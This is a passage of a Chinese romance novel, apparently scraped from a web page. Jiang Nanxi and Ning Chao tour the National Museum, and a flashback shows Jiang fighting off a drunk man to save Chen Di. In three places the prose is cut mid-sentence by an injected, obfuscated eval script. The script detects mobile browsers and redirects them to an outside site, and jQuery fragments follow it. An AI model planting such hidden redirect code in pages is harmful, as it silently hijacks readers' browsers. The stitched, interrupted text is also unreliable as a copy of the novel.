“千真万确。”宁朝神色一正,比以往任何时候都要笃定,“因为老爷子喜欢,我们家三兄妹受他影响,打小每人床头都放着一整套的毛选,现在有时候还会拿出来翻翻,而且我大哥叫宁原驰,我二姐叫宁天骄,我叫宁朝,都是取自毛主席的诗。” 姜南西很快说:“沁园春·雪。” 宁朝嗯了声,怕她不信又继续说:“要不要我现在回去给你拿户口本?” 知道他真干的出来,姜南西立刻摆手,她笑着闭了闭眼,十足的投降姿态:“我信你。”说完,她就起身走开收拾东西去了。 人影牵动灯光的涟漪,姜南西纤长的身影拂过小院的角落。 宁朝依旧蹲在原地,陪着吃饱喝足的小狗玩闹,初夏的风里,他眉梢微扬,散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765261|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫而又颇有自信地说了句:“世上无难事,只要肯登攀。” 声音很小,只有他和小狗能听见。 可惜小狗不懂他的自言自语,歪着脑袋朝他打了个喷嚏,惊得海棠树上打盹的麻雀扑棱棱飞了起来。 . 喂完小狗之后,宁朝开车送姜南西回家。 到地方,姜南西道谢下车,关上车门没走出两步,宁朝忽然喊了她一声:“姜橙子。” 姜南西回头:“啊?” 车里,宁朝身体微微探过来,看着她的眼睛问:“明天你打算去哪?” 姜南西想了想:“去国博。” 国博最近有个德化白瓷展,鬼斧神工般的工艺惊艳了不少游客,过几天就要闭展,她打算去赶个末班车。 宁朝道:“一起吧。” 姜南西顿了下:“但你现在还能预约上吗?”像国博这种必打卡的热门景点,一般要提前好几天预约参观门票。 宁朝没答,转而笑着说:“明天见。” 黑色奥迪滑进夜晚繁忙的广顺北大街,似是一滴墨融入流动的河,辅路上的老槐树枝桠静静垂落,无声凝视着这片永不落幕的喧嚣。 姜南西慢慢走到小区门口,突然停在原地,望着奥迪远去的方向很轻地“啧”了声。 这人到底为什么这么喜欢说明天见? 晚上,姜南西仍然雷打不动的失眠,只能躺在床上继续刷各种app,翻阅大家的朋友圈。 大多是旅游polg,活动宣传,或是人生重大节点的纪念。 看过太多的同质化内容后,感知能力开始下降,最初的喜悦和祝福变得索然无味,惊喜的眸光最终只能化作瞳孔上透明的茧,不得不承认,人类就是这样刻薄的生物,需要不定期注入新鲜的血液,才能唤醒最原始最隐秘的悸动。 她不禁想到今天遇到的那位樊老师,不知道当初的她会不会和现在的自己一样,在生活的迷雾中徘徊不定,不得不在原地踏步。 想完,姜南西便自嘲地笑了笑,像樊老师那样出类拔萃的人,怎么会放任自己停摆,她敢于打破困局,有着常人难以企及的勇气,所以才活得这么恣意潇洒。 能遇到樊老师,不失为一种幸运。 而这一切都要感谢宁朝。 宁朝啊,目前看来,是个还不错的人。 至少是因为他,在这短短几天,就见识到了很多以前不曾见识过的光景,这些新奇的经历让原本有些枯燥的生活变得丰富多彩。 也许,那晚在酒吧门口的相遇,不是一件坏事。 这个念头刚一冒出来,姜南西心中顿时警铃大作,挂在嘴角的笑也一点一点消失不见。 无数纷繁复杂的小石子,投入原本平静如水的内心,霎时间泛起层层警觉的涟漪,那些涟漪迅速化作细密如发的藤蔓,紧紧压制着想在她心脏里汹涌破土的新芽。 她是一个心智健全的成年人,当然知道这突如其来的想法意味着什么。 也因为是成年人,所以在一秒之内,姜南西的理智就占据上风,如果任由发展,将会打破她现有的生活平衡,并且很可能让她就此陷入一段无法预料的困境。 她告诫自己,要保持冷静,要摒弃那些多余的想法,只把他当作一个无关紧要的过客。 北京最后的三个月里,一个意外闯入生命又注定会离去的过客。 为防事态朝不可控制的方向发展,姜南西立马扔掉手机,关掉灯,强迫自己赶紧睡觉。 与此同时,东湖湾小区。 宁朝只身站落地窗前打电话,暮色四合,华灯斑斓,最近不是能看到月亮的好天气,只有霓虹的影子倒映在河道,水面波光粼粼,两边的银杏大道深邃而静谧。 他直直望着城市的某个方向,眸光静缓。 手机另一头的贾志新说了半天,以为他没听见,扯着嗓门又问一遍:“老三,明儿去你家旁边那个体育场踢球,你到底来不来?” 话音刚落,小程序推送提醒,国博特展票出票成功。 看了眼,宁朝回答:“不去。” 贾志新问:“成天见不着人,嘛去?” 宁朝:“上河里游泳去。” 贾志新以为自己听岔劈了:“啊?” 宁朝仍看着那处,嘴里悠悠道:“历史的长河啊。” 12. 美神绮梦 ——历史长河的发源地有些严重堵塞。 中国国家博物馆,是代表国家收藏、研究、展示、阐释中华文化代表物证的最高殿堂,馆舍宏大,藏品超143万件,涵盖古代至近现当代文物,全面展现了中华民族五千年文明发展历程,是了解中国历史文化的绝佳选择。 而其中作为核心必看的古代中国基本陈列馆,常年保持着超高客流量,淡季里人山人海,旺季里,只能在大量的游客里观赏到少量文物。 望着入口黑压压的一片,姜南西顿觉头皮发麻,本能地想要转身逃跑,但一想到宁朝专门买的特展票,她又犹豫了。 许是看出她的纠结,宁朝好心建议:“要不换个展厅晚点再来?” 这才刚开馆,晚点过来人也只会越来越多,姜南西摇头,毅然决然道:“来都来了!走!” 虽然人多,但整体的游览体验依旧无与伦比。 踏进展厅的那一刻,展厅灯光自然而然黯淡下去,时光从这里开始变得缓慢悠长,柔和的光线宛如一层薄纱,轻轻覆盖在每一件文物上,却难掩它们的厚重与沧桑。 唐三彩釉骆驼背上的胡商眉眼幽深,藏着千余年前丝绸之路上,一抹大漠落日的余晖;劫后余生的四羊方尊傲然挺立,斗转星移化作羊目上亘古的倦意;画像上帝王的威严穿透纸张,他平静地俯视着每一位驻足又离去的人,仿佛芸芸苍生都是他的过客...... 两个多小时也只能走马观花,一万多步,却像是路过了历史长河里千百年的春夏秋冬,讲解员却说:“中华五千年看似很长,实则不过是五十个人首尾相连的一生。” 历史的纵深取决于你怎样看待它。 当站在古代中国出口最明亮最中央的地方,看见对面那幅豪迈磅礴的《沁园春·雪》时,姜南西下意识回头,望了眼交相呼应的时局图和大观园,刹那间百感交集。 无论古代有多辉煌,又无论繁华落幕有多落魄,时代的车轮总是滚滚向前。 大概是激昂的诗词实在催人奋进,姜南西和宁朝不作停留,按照现搜的攻略,又连着逛了复兴之路基本陈列和德化白瓷两个展厅。 姜南西越逛越上头,热情随着步数一同上涨,相比之下,宁朝走路的速度则逐渐慢了下来。 之前骨裂的小腿恢复不久,因为今天的超负荷运动,开始隐隐作痛。 但他没有表现出来,而是全力配合姜南西的逛展节奏,走得稍微慢一些,也能稳稳跟在姜南西身边,帮她挡一挡身后来来往往的人群。 可他还是低估了姜南西的精力,简直无穷无尽,即便已经额头渗出细汗,可她不仅没觉得累,也丝毫没有停下脚步的意思。 终于在进入一号中央大厅的时候,宁朝按耐不住疑惑,侧头问她:“你们干编导的都这么能走吗?” 姜南西心头涌上深深的歉意:“啊......你累了?”光顾着自己参观,忘了照顾他人的感受,这样不妥,姜南西很快转身,准备去找个休息的地儿:“那我们先歇会儿。” “不用。” 就是怕这个,所以宁朝才一直没说,见她要走,他赶紧把人拽回来解释:“我就感叹一句,看你这么瘦,没想到竟然体力这么好。” 姜南西还是担心:“你真不累啊?” 宁朝暗自无奈叹气,他又一次见识到姜南西的利他品格,会为了照顾他人而让步自己的感受,几乎到了忽略自身需求的地步。 他不知道姜南西经历了什么才会这么小心翼翼。 “我经常远程徒步,这几个展不算什么。”宁朝目光沉着看她,漆黑的眼睛里都是固执的认真。 本就还在兴头,听他这么一说,姜南西就更加心动,但还是征询意见:“那我们再逛会儿?” 宁朝舍命陪君子:“来都来了!逛!” “说真的。”进入展厅,姜南西边走边道:“应该不是我体力好,而是第一次看到这么多以前只能在历史书上看到的文物,就忍不住看越想看。” 现如今网上流行这样一句话,小明同学用二十分钟就能走到的天安门,有的人却用了二十多年。 姜南西看向身边的小宁同学:“所以我很羡慕你啊,在我死记硬背的时候,你能抱着历史书来这里耳濡目染。” 这是真心话,姜南西真的羡慕。 可是当看到几个穿着校服的学生,抱着素描本趴在玻璃柜上,对着里面的文物写写画画的时候,也是真的为他们高兴。 笔尖沙沙划过纸张,留下的,是一页页美好的青春。 姜南西庆幸自己还能感受青春。 “虽然听起来像是何不食肉糜。”宁朝蓦然停下脚步,声音缓静而温和,“有人生来就在北京,而有人要走很远的路才能来到这里,但是褪去地域光环,北京多的是为生活四处奔波的普通人,也都是要往前走的,这座城市不是终点,路的尽头永远是路,大家走在各自不同的道路上,不过是个体人生不同时差的体验罢了。” “况且......”说到这宁朝停住,他看向姜南西,面露几分难言的尴尬。 姜南西同样看着他,眨了眨眼睛,不明所以。 半晌,宁朝挠了挠眉:“这也是我第一次来国博。” “你没来过国博?”姜南西很是不敢相信。 宁朝只能实话是活:“北京很多地方我都没去过。”长城,故宫,天坛、雍和宫......近点儿的有幸能路过,远点的就只能听过。 震惊之余,姜南西反思了下,如果代入她自己就没那么奇怪了。 她一个重庆人,至今也没去过洪崖洞。 “你说的对。”转回刚才的话题,姜南西认同宁朝的观点,她举起相机,拍下开国大典上升起的第一面五星红旗,“只是时差不同,人生就是用来体验的。” 这并非个体命运,而是宏大的集体叙事,可幸,他们站在同一片热爱的土地上。 终有一天,他们会亲自用双脚真切丈量这片土地,或早或晚。 宁朝微微一笑,没再说话。 顺着墙上一面面的历史画作,两人往里走,边走边聊。 “不过这不算我走过的最长的一段路。”拍完一张照片后,姜南西没再举起相机,这里的展品意义厚重,更适合用心感受。 她接着说:“之前我还做导演助理的时候,在深山里跟一个宣传片,当时剧组请了一特难伺候的男明星,开拍之前突然嚷嚷着说要喝咖啡,速溶的不行,要求必须是某个特定牌子的冰美式,说不喝就没状态,我只能步行下山,独自开车到几十公里以外的咖啡店买好咖啡,再开回去,再爬一个多小时的山路送到他手里,现在想起来,如果不是想成为一个真正的编导,那段路真的太难走了。” 说到这,她没好气:“说句不好听的,我长这么大,还没人专门给我买咖啡呢。” 很久之前的事了,磨破的双脚也早已愈合,再看不见任何受伤的痕迹,如今再提起,哪怕嘴上抱怨,姜南西的心中是毫无波澜的。 末了,她又扬起一个没心没肺的笑容:“也算是一种人生的体验吧。” 她说得轻松,也不甚在意,可宁朝的眼神暗了暗:“他喝完成影帝了吗?” “没有。”姜南西撇了撇嘴,“他嫌咖啡不冰,全泼我脸上了。” 剩下的话,宁朝不问也能猜到,以姜南西的性格,断然不会因此跟那人翻脸起冲突,更何况是正式的工作场合。 谨小慎微是她的生存法则。 气氛没有想象中那样变得沉重,姜南西的情绪就像一张纸,从不好到好的一面,轻轻一翻就过去了。 所以当宁朝问她委不委屈时,她能坦然而欢快地说:“虽然不符公司要求,但在报.销的时候,我偷偷把咖啡小票塞进去,顺利结款。” 宁朝听得好笑:“这就满足了?” 究竟什么没人性的公司能把人压榨成这样?员工的合理诉求还要偷偷摸摸。 “当然了。”姜南西小脸一抬,站在“屹立东方”的牌匾下气势昂扬,“我的钱和祖国的领土一样,一分都不能少!” 宁朝表情坚毅深表认同。 “来都来了”真是很有力量的一句话,从中央大厅出来后,两人又一口气看完了馆藏佛造像,再出来时早已过了午饭时间,宁朝提议先去吃个饭再逛。 姜南西却说先让他去负一楼的餐厅,自己要去买个纪念品。 宁朝想都没想:“我陪你。” “其实你腿疼吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765262|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”姜南西冷不丁地说。 宁朝一怔。 整个过程中,他都极力隐藏的很好,但刚在展厅内,姜南西不经意瞥见他两腿用力方式稍有不同,即使差别细微到可以视而不见,但姜南西还是从中察觉出了异常。 她抱有歉意地笑笑:“不好意思啊,让你腿疼还陪我逛这么久。” 果然不能低估编导的观察能力。 宁朝平和道:“旧伤,没大事。” 但姜南西还是坚持要自己去,她想买的纪念品只在南区二楼文创店发售,让一个有腿伤的人走了这么久已经过意不去,实在不好让他再爬上爬下。 再执拗只会加重姜南西的心理负担,宁朝答应先去负一楼。 姜南西要买的纪念品很特殊,也很小众,不比凤冠冰箱贴那样供不应求,以至于在一众琳琅满目的商品中,她找了许久,才在角落里找到为数不多的一部分。 又埋头选了一会儿,姜南西最终选中心仪的那一个。 买好东西,她下到负一楼,到约定的餐厅找宁朝。 视线转了一圈,没找到人。 姜南西以为换了地方,打开手机,却没收到任何新的消息。 她一边发微信一边转身去找人,就在刚从扶梯上到一楼大厅时,眼前突然出现一杯咖啡。 她抬头,大片的阳光穿过高高的玻璃窗,由远及近,明晃晃洒在眼前人的身上。 宁朝眉峰轻挑,示意她接咖啡:“东西买好了?” “昂!”提到刚买的东西,姜南西眸中光芒雀跃,满是单纯的快乐,她举起手里的火箭碎片钥匙扣:“这个叫天河船票!” 这是为了纪念人类飞行器首次到达月球背面,专门由登月火箭碎片做成的艺术品。 经过烈焰灼烧和强烈撞击,每一枚残骸碎片的颜色、厚度和磨损都不尽相同,上面形成独有的燃烧痕迹,好似流星划过天穹时,由宇宙亲笔写下的星辰密码。 每一枚碎片都有对应的编号,姜南西千挑万选,选了今天日期的编号。 她激动到甚至没接咖啡,宁朝没催,而是不动声色地拿开,他一手一杯咖啡,高大身影站在姜南西身侧,垂眸认真端详她手里的那枚碎片,低声道:“很浪漫的设计。” 馆内人声鼎沸,两人站在阳光底下,凑在一块研究一枚钥匙扣,距离很近,近到两人的呼吸相碰,在阳光下缓缓游移交缠,缱绻到要互相陷入其中。 但姜南西忘了要躲开,她笑容明媚晃了晃手里的碎片,整个人像个充满活力的小太阳:“浪漫和梦想就是人类的力量源泉!” 聪明如宁朝,也看出包装右上角那串数字的意义。 “嗯。”宁朝将咖啡塞到她手里,极为配合她的天真幻想,“那为了庆祝今天成功登月,喝杯咖啡吧。” 国博拉花咖啡,是又一款需要排长队的热门产品。 宁朝给她的这杯,拉花灵感来自于阿佛洛狄忒大理石像,鲜花和白鸽围绕在这位美与爱之神的周围,优美而典雅。 它同样有个浪漫的名字,叫美神绮梦。 姜南西抿了一小口,咖啡的香气醇厚扑鼻,丝丝缕缕的甜沁入心脾,让她愉悦的心情被滋润得愈加美好甜蜜。 可能冥冥之中,这杯咖啡也在祝她美梦成真。 但这款咖啡只在北二区的咖啡厅售卖。 “宁朝。”餐厅排队点单的时候,姜南西叫他。 宁朝应声:“嗯?” 好心情的时候,人会不自觉大胆一点,于是姜南西问:“你不会是听我说没人专门给我买过咖啡,所以才跑去买的吧?” “不是。”宁朝淡淡道。 大胆的自以为是被果断否认,姜南西鼓下腮帮子,倍感窘迫的自觉闭嘴。 隔两秒,宁朝喉咙深处发出一声闷笑,像在压抑着什么情绪:“说不说都会给你买。” 姜南西的窘迫瞬间消失的无影无踪,调皮道:“因为来都来了。” 宁朝学着她的语气:“来都来了~” 姜南西:“来都来了!” 宁朝:“来都来了。” 两人你一句我一句,幼稚得乐此不疲。 负责点单的工作人员:“二位来点啥呀?!” 13. 金鱼气泡水 周末,三里屯尼康直营店,姜南西和何星屿陪陈笛买相机。 在拍摄设备这一方面,何星屿比姜南西更专业,于是他自觉担任陈笛一对一的采购顾问,姜南□□自歪在休息区里玩手机。 今天不用送小朋友,她昨晚放飞自我,重温《美少女战士》到凌晨三点,现在眼睛迷迷瞪瞪地坐在沙发上,身后就是磨砂玻璃,太阳把这一片晒得暖烘烘,控制不住地昏昏欲睡。 陈笛拿起相机试拍,镜头朝向这边,大叫了声:“橙子!” 闻声姜南西立刻抬起头,面无表情地比了个耶。 拍完,陈笛查看成片,果然见识到了什么叫“背景如刀锋般锐利,人物如奶油般化开”,但她甚是满意:“真好看啊。” 何星屿看完就笑了:“抛开姜橙子这张脸,整体效果......” “抛不开。”陈笛冷冷道,她是姜南西那张脸的头号粉丝。 工作人员敏锐发现重点,捧笑道:“您朋友颜值可真高,要不是知道是您朋友,我还以为她是前两天来这做活动的那个女明星呢!” 这话陈笛爱听,也不挑了:“就来这个。” 工作人员喜滋滋跑去开单,何星屿摇头感叹:“有钱的女人真任性。” 这头的姜南西不知道陈笛的草率决定,因为手机里的人在干一件更草率的事。 几分钟前,姜南西快要睡着的时候,手机连着震了两下。 宁朝;【图片.jpg】 宁朝;【今天有空吗?】 宁朝:【老爷子说为了感谢你送他去花鸟市场,让我给你送盆多肉。】 姜南西放大那张图片,几颗圆滚滚的多肉平整地铺在盆里,颜色鲜艳多彩,模样娇憨可爱。 凭那天在花鸟市场的记忆,她认出来这是生石花。 虽然喜欢,可真的要养一盆多肉,作为一个养啥死啥星人,姜南西着实感到不小的压力。 她惴惴不安地打字:【我给它养坏了怎么办?】 宁朝:【你先养,坏有坏的办法。】 姜橙子:【什么办法?】 宁朝;【我再给你换一盆,这玩意儿老头多的是。】 姜橙子:【......】 这人真是无论何时都不按常理出牌,姜南西一贯墨守成规,每逢交锋,都显得毫无招架之力。 可真要说起来,跟宁朝说话的感觉还不错,没有要求,没有评判,也没有审视,只是单纯地说话,和表达。 姜南西为宁衡远鸣不平:【你是真孙子啊!】 宁朝;【可不嘛。】 怎么说也是宁衡远的心意,姜南西想了想还是收下:【晚上吧,现在在陪朋友逛街买相机。】 信息发出去之后,姜南西忽然停了下,僵住的手指悬在屏幕上方好半天没动。 这句话,怎么隐隐看出有种在报备的意思,或者说是分享生活,而无论哪一种,都不应该出现在她和宁朝的聊天对话框中。 每当这个时候,姜南西就会陷入一种思维博弈,如果现在撤回,再重新说一句晚上见,会不会太明显,也太没礼貌。 她又开始纠结。 但很快,宁朝就发过来的信息,是一张办公桌的照片。 电脑上运行着晦涩复杂的代码,旁边整齐地叠放着几本书籍,几只笔散落在白纸上,白纸上面勾勒着几笔线条,可能是什么产品的设计草图,寥寥几笔也看得出专业。 整个画面扑面而来的简约和科技感。 宁朝言简意赅:【加班。】 如果说刚才姜南西还在顾虑,现在则能放松下来了。 无论是有意还是无心,有来有往,宁朝算是一个合格的聊天搭子。 姜南西在心里这样想。 她忍不住调侃回去:【你知道你这样像什么吗?】 宁朝:【建设社会主义好青年?】 姜南西:【诱骗纯情少女的杀猪盘。】 宁朝甩过来一个猫猫表情包:【您抬举我了.jpg】 两人有一搭没一搭的斗嘴,姜南西的嘴角情不自禁地往上扬。 陈笛结完账回来的时候,看见的就是姜南西抱着手机笑得合不拢嘴。 “什么事儿这么开心啊小橙子?”陈笛一屁股挤到她身边,趁她按灭屏幕之前火速瞟了一眼,“宁朝?看这名字是个男生?” 陈笛八卦的眼神快要把姜南西盯穿,后者眼神不太自然地游移,情况复杂一时说不清楚,姜南西也不知道该怎么界定两人的关系,便随口敷衍了句:“不重要。” “少来!我看见他给你发表情包了!”陈笛追眼尖着呢,她追问:“不会他就是你那天说的那个变态吧。” 姜南西脸色一凝。 虽然后来姜南西只说是个误会,但陈笛是个人精,看她这反应就知道不一般,于是凑得更近:“哪儿人?高吗?帅吗?怎么认识的?” 姜南西试图转开话题,她站起来看向店里:“怎么就你回来了,何星屿呢?” “他看镜头去了。”陈笛拆穿她的意图,把人死死摁在沙发上:“别想跑,如实交代。” 姜南西没办法地坐回去:“交代什么?” 陈笛说:“你跟他的关系啊?能不能有进一步发展。” “不能。”姜南西语气冷漠,表情一同变得冰冷。 决绝的态度把陈笛吓了一跳,她了解姜南西的性格,待人接物向来会考虑很多,做事也是面面俱到,可这也让陈笛非常担心。 因为姜南西总是对别人很好很宽容,对自身却非常苛刻。 除了有时候会在半夜吐槽一下工作,陈笛几乎没有听见姜南西主动表达过自己的情绪和需求,遇到困难也只会自己扛,从不依赖他人。 如果不是那次医院要求必须联系家属,她跟何星屿到现在估计都不知道,姜南西连着加班三个月,发烧肺炎到不得不住院。 陈笛总觉得,有什么无形的枷锁在束缚着她,逼着她一定要成为一个大家都很满意的人。 而她从未见过姜南西这么不留余地,甚至非常抗拒。 “为什么?”陈笛只当她还没走出上段感情的阴影,还在封闭自己的内心,“你该开始自己的新生活了。” 姜南西又重新跟她嬉皮笑脸:“我这不正在体验新生活呢吗。” 陈笛不轻不重拍她一下:“不许打哈哈。” 姜南西敛起笑容。 陈笛眼带担忧地看向她,言辞恳切又微微心急:“橙子,你不能因为一段失败的恋爱,就完全否定后来的人,人生的路那么长,沿途的风景千千万,一定会有对的人在前面等你的。” “不是因为这个。”因为什么姜南西具体也说不清,她沉默望向前方,眼光无波无澜,像是一片平静的海洋,将所有的情绪都藏在了里面,“可能是我害怕吧。” 陈笛道:“害怕什么?” “你看就像我!”为了打开姜南西的心结,陈笛现身说法,“之前被那个死渣男伤心又伤身,好长时间看见男的就哆嗦,现在不照样也跟老梁过得好好的,对的人他会......” 说到这她突然想到什么,话音戛然而止,脑子里轰的一声炸开。 “卧槽橙子!不会还是因为那件事吧!”陈笛双手并用紧紧搂住姜南西的肩膀,深深的歉疚如潮涌来,让她快要哭出声来。 姜南西沉声道:“你不准再想那件事。” 和刚才说不能的冷脸比起来,姜南西此刻的表情,除去决绝,多了一丝心疼,更多的,是杜绝朋友被往事伤害的机警。 姜南西叹了口气,用手背轻轻贴下陈笛的脸颊:“跟那件事没有关系。” 虽然何星屿也说,她是从那件事之后,开始变得谨慎和畏缩的。 那是姜南西来北京的第一个春天,彼时她还住在北京的胡同里,每天为了抄近路回家,都必须要穿过一段偏僻荒芜的小巷。 小巷子本来是有路灯的,只是刚好遇上附近电路改造翻修,而刚好那几天,姜南西都加班到凌晨才能回家。 那晚,姜南西借着手机手电筒的光往巷子里走,走到一半,突然听到寂静的不远处,传来一个夹杂着愤怒和不耐的男声:“老子他妈的让你滚远点,耳朵聋了是不是!” 女人凄凄哀哀地劝阻:“你不能再喝了。” “你他妈的凭什么管我!”随后又是一串不堪入耳的污言秽语。 姜南西赶忙关掉手电筒,后背贴在冰冷的墙壁上,屏住呼吸,一动都不敢动。 巷子里太黑,加上视觉盲区,她不知道那边是什么情况,听着像是情侣吵架,可能吵一会儿就好,又怕是网上说的仙人跳,故意闹出动静把人引过去,然后神不知鬼不觉地绑走。 姜南西竖起耳朵想听更多,但只能听清男人呜呜渣渣的喧嚷和女人苦苦的哀求。 大概率是情侣矛盾,姜南西觉得在这干耗着也不是办法,打算老实掉头绕远路,就是苦了她的脚,今天因为公司活动,她被推上去做主持人,穿了双中看不中用的高跟鞋。 就在转身离开的一瞬间,姜南西听见玻璃炸裂的声音,紧接着,女人尖叫大喊:“救命啊!” 姜南西心头猛颤,报警的时候,手在不停地剧烈发抖。 那头女人还在凄厉地嘶喊,可没喊两声声音就弱下去,像是被人扼住了喉咙,而始作俑者声音里带着残忍的兴奋:“我他妈弄死你!” “救......命......”黑暗中微弱的求救只能化作血腥的呜咽。 不作他想,姜南西一边冷静问接线员:“我见义勇为杀了人算正当防卫吗?”一边随手抄起路边的一块砖头,借着手机手电筒的光,一瘸一簸地冲过去,结结实实抡向男人的后脑勺。 男人吃痛松开行凶的双手,抹了一把从脑门上流下的鲜血,趁这功夫,姜南西立马冲上前拉起女人就跑。 可惜女人刚刚经历一场窒息,浑身毫无力气,没跑两步就摔倒在地,眼见着男人缓过劲来,姜南西一把将几近虚弱的女人拽起,用瘦弱的身体护住她。 她举着手里砖头警告对方:“别乱来啊,警察马上就到!” 男人一开口就是浓烈的酒臭味:“滚你妈的!你他妈算个什么东西!” “有什么话好好说。”姜南西反手揽着女人往后退了两步,想尽力往有光亮的地方走,可惜不慎误入死角,一退再退只能贴在墙壁。 “你给我过来!”男人挥舞着手里碎裂的啤酒瓶,试图抓住姜南西身后的女人,女人缩在后面迸发出一声尖叫,同时也抱住姜南西的胳膊,随时警惕把她往后拉。 讲道理是行不通了,姜南西一把拍掉男人的手:“爪子嘛!喊你魔法披风!” 男人愣了下,接着再次伸手:“你给我过来!” “啪”的一下再次被重重打开。 川渝婆娘气势凶猛:“手来手断!脚来脚断!脑壳来了稀巴烂!爬!” “妈的臭娘们找死!” 话落,男人脸上横肉狰狞,举起锋利的啤酒瓶,朝着姜南西纤细的脖子狠狠扎去—— 坐在医院急诊大厅的时候,姜南西第一百零八次感谢那双中看不中用的高跟鞋。 如果不是最后崴了下脚,那尖利的玻璃碴划的可能就不是她的额头,而是她的颈动脉。 医生给她做了包扎,打完破伤风后,她现在坐在这里等那个被她打伤的男人,待会儿一起回警局做笔录。 一个人坐在人来人往的大厅里时,姜南西还莫名觉得有些兴奋,觉得自己特别棒,因为她勇敢地拯救了一位年轻姑娘的生命。 这股新鲜劲儿让她止不住地心跳加快,打字速度噼里啪啦,迫不及待地想跟男朋友分享刚才的奇遇。 可发出去的前一秒,她的意识归位,看向两人停在三天前的聊天记录。 也是吵架。 姜南西怪对方总是忽略自己分享的生活日常,不听自己说话,不关心她生病,也不回消息,对方说自己很忙没有时间。 姜南西问他有时间忙着参加不必要的公司团建,但是没有时间回女朋友的微信。 最后几句话是对方不耐烦的质问。 “你到底想怎么样?能不能成熟一点?” “你自己看看你现在这副样子?我也需要自己的时间和空间。” “姜南西,你已经不是学生了,你是一个成年人,情绪稳定是你要学会的第一课。” “我每天忙得要死没有那么多时间听你的废话。” ...... 袒露内心只会换来忽视和不耐,倾尽青春的感情最后变得面目全非。 心情刹那间跌到谷底,医院里寒气逼人,姜南西的心却更冷,机械般一下一下删掉刚刚打好的文字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765263|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 删到一半,手机竟然弹出妈妈的电话。 凌晨两点半的电话,会让远在他乡的游子吊起十二分的神经。 “怎么这么晚还没睡呀妈妈?”姜南西努力打起精神。 汪虹声音温柔,带着浅浅的疲倦:“西西啊,你在家吗?” 姜南西的声音卡在喉咙里,隔半天才“啊”了声:“对啊,准备睡觉了。” 听到这个回答,因为噩梦带来的不安倏然消散,汪虹笑了笑:“没事儿,就是刚刚做噩梦你......哎呀不说了,你在家就行,我睡觉了啊。” “你就是看了太多乱七八糟的新闻。”姜大年的声音在话筒里若有若无。 “你不担心你半夜爬起来。”汪虹骂了句,想想还是嘱咐姜南西:“早点休息啊,别总工作到那么晚,多吃点饭,还有就是万一啊......就是万一你看见路边有什么事儿,别傻乎乎往前冲,前两天那新闻说......” 姜大年打断她:“让孩子睡吧,都这么晚了。” “好好好,西西早点睡吧。” 挂掉电话,一滴眼泪直直砸到地面。 姜南西抬手去擦,但眼泪越来越多,怎么都擦不干净。 像一只受到伤害炸毛自保的流浪猫终于得到安抚,姜南西瞬间浑身发软失去所有力气,但她还记得不要给人添麻烦,用尽最后的理智快步走到急诊门口,快到忘记脚上的痛,蹲到柱子底下,忍不住放声大哭。 她害怕,她太害怕了。 不仅是害怕那个酒瓶扎到颈动脉,其实从头到尾她的脑子都是空白的,根本没想过有多危险,现在才是真的后怕,如果真的命殒当场,她的爸爸妈妈要怎么办。 她有那么好的爸爸妈妈。 夜风四起,将她的头发吹得乱七八糟,满脸眼泪将精致的妆容哭得惨不忍睹,睫毛乱飞,口红晕得像是吃了一筐毒蘑菇。 但她就是停不下来,哭到上气不接下气,声音也越来越大。 然而柱子另一头的哭声比她更大。 姜南西抬起头,一边抽噎着一边茫然地看过去,那人也转过来看她——是今晚那个被她救下来的女孩。 这是陈笛和姜南西正式看到对方的第一眼。 一个满脸五彩斑斓,一个满脸鼻青脸肿。 急诊灯牌的红色灯光照在两人脸上,又是医院门口,给本就难过的场景平添几分瘆人的氛围。 两人相看泪眼,不到半秒,陈笛突然看着她笑出了声。 姜南西以为她受刺激疯了,奇怪又同情地看着她:“你笑什么?”说话时声音里还带着浓浓的哭腔。 “你真好看。”陈笛吸了下鼻涕,又哭又笑的:“你怎么哭这么丑还这么好看。” 什么驴唇不对马嘴的话。 姜南西也哭:“你这么好看为什么要跟那个人渣谈恋爱?” “分手啦!”陈笛抹了一把眼泪,以过来人的口吻教育姜南西,“你这么好看,找对象一定要擦亮眼啊。” 闻言,姜南西顿了顿,她拿起手机,删掉剩下一半的话,只发了五个字:“我们分手吧。” 然后埋头哭得更大声。 那一晚,姜南西和陈笛蹲在柱子底下,又哭又笑半个多小时,其中夹杂着陈笛一遍又一遍的“你真好看”。 也是那个春天的夜晚,两个年轻女孩儿的生命,在眼泪里,发了新芽。 不可否认,那件事对姜南西的性格造成了严重影响。 后来的外人眼里,她变得畏首畏尾,恐惧冲突所以选择逃避和顺从,选择让步甚至是隐忍,连痛苦的工作都犹豫了快两年才真的辞职。 但她自己心里清楚,血淋淋的碎酒瓶依然悬在她的脖子上,只不过拿酒瓶的另有其人。 